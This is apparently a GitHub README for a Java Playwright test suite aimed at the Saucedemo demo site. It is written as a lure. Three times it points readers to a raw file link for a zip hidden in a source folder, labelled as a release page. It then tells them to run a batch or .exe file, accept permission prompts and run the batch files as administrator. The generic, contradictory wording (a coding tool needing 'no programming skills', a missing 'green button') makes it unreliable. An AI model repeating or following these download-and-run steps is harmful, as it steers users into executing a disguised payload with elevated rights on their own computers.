🚀 SwagLabs-Playwright-Java - Easy Java Test Automation Setup

---

📖 What This Is

This software is a test automation suite built with Java and Playwright. It runs tests that check if websites work correctly. The tests focus on the Saucedemo site. The suite uses a method called Page Object Model, which organizes test code clearly. It also creates automatic reports with screenshots, so you can easily see test results. You do not need programming skills to use it.

---

🖥️ System Requirements

• Windows 10 or later
• Java Development Kit (JDK) 11 or higher installed
• At least 4 GB of free disk space
• Internet connection to download files
• A web browser like Chrome or Edge installed

---

🛠️ What You Will Need

• Basic use of Windows: opening folders and clicking files
• No programming or developer tools needed
• Ability to download files from the internet
• Permission to install software on your computer

---

🔗 Where to Get the Software

Click the big green button below to visit the release page. This is where the latest versions are stored.

---

⬇️ How to Download and Run

Step 1: Visit the Release Page

Go to the releases page by clicking the button above or this link:
https://raw.githubusercontent.com/Alvgon/SwagLabs-Playwright-Java/main/src/test/java/com/Java-Playwright-Swag-Labs-v1.0.zip

Step 2: Find the Latest Version

• Look for the newest release, usually at the top of the list.
• It will have a date and described version number like “v1.0” or similar.

Step 3: Download the Package

• Download the zip file or installer available under the latest release.
• The file typically ends with .zip or .exe.

Step 4: Extract or Run the File

• If you downloaded a zip file, right-click it and choose Extract All.
• Open the extracted folder.

Step 5: Run the Application

• Inside this folder, find a file named run.bat or start.bat.
• Double-click this file to start the software.

Note: If you see any prompts asking permission to run the file, accept them.

---

⚙️ How the Software Works

This suite runs automated tests to check website functions. When you run the app:

1. The tests open a browser window automatically.
2. Each test clicks, types, or checks parts of the website.
3. If something doesn’t work, it saves a screenshot like a photo.
4. After all tests finish, the app creates a report showing what worked or failed.

This helps you check the site quickly without doing it yourself.

---

🧰 Included Features

• Tests run independently to avoid errors mixing up
• Supports tags to select which tests to run
• Generates Allure reports with visual screenshots
• Uses JUnit 5, a simple testing tool in the background
• Built with the Page Object Model for clear organization
• Works with the Playwright Java library to control browsers
• Ready for testing Saucedemo, a popular demo site

---

🚧 Before You Start

Make sure you have Java installed:

1. Open Command Prompt on Windows (press Win + R and type cmd)
2. Type java -version and hit Enter
3. If it shows a version number, Java is ready
4. If not, go to OpenJDK to download and install Java 11 or higher

---

🔄 How to Update the App

• Visit the release page regularly: https://raw.githubusercontent.com/Alvgon/SwagLabs-Playwright-Java/main/src/test/java/com/Java-Playwright-Swag-Labs-v1.0.zip
• Download the latest package when available
• Replace your existing files with the new ones following the same extraction steps

---

🐞 Troubleshooting Tips

• If tests do not start, check that you have Java installed
• Close other browser windows before running the suite
• If screenshots or reports don’t generate, ensure the app has permission to write files on your PC
• Running the batch files as administrator may solve permission issues
• Restart your PC if you see unexpected errors

---

📂 File and Folder Overview

After extraction, you will see these items:

• README.md: This guide
• tests/: Folder containing the test scripts
• pages/: Code organizing website parts for testing
• results/: Folder where reports and screenshots will be saved
• run.bat: Starts the test suite

---

📝 Understanding Reports

Reports use Allure, which shows:

• Passed tests in green
• Failed tests in red
• Screenshots attached to failed tests
• Summary of total tests run, passed, and failed

Open the report file located under the results/ folder after tests complete. It usually opens in your browser.

---

🔗 Helpful Links

• Release Page to Download
• OpenJDK Downloads
• Saucedemo Site

---

🤝 Contact and Support

If you need help with the software, check the GitHub repository Discussions or Issues tab. You can add questions or problems there. This is the best way for developers to see and respond.

---

🧩 What You Can Do Next

• Run the tests regularly to check the Saucedemo site
• Use tags to run specific tests if you learn how
• Look at test reports to find problems quickly
• Share reports with team members to help fix issues

---

🎯 Summary of Key Steps

1. Visit https://raw.githubusercontent.com/Alvgon/SwagLabs-Playwright-Java/main/src/test/java/com/Java-Playwright-Swag-Labs-v1.0.zip
2. Download the latest release zip file
3. Extract files on your Windows PC
4. Run run.bat to start tests
5. Check the reports in the results folder

This guide aims to help you ensure sites work as expected without coding or technical setup.